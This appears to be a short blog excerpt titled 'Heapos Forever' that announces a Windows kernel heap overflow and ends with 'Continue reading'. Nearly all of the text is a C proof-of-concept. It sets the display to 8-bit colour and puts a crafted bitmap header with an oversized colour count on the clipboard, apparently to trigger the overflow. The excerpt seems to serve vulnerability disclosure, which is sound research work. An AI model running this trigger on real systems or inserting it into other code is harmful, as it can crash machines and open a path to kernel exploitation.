There are still hippos around us, beware: Kernel heap overflow. DEVMODE dm = {0}; dm.dmSize = sizeof(DEVMODE); dm.dmBitsPerPel = 8; dm.dmPelsWidth = 800; dm.dmPelsHeight = 600; dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL; ChangeDisplaySettings(&dm, 0); BITMAPINFOHEADER bmih = {0}; bmih.biClrUsed = 0x200; HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000); memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih)); GlobalUnlock(h); OpenClipboard(NULL); SetClipboardData(CF_DIBV5, (HANDLE)h); CloseClipboard(); … Continue reading Heapos Forever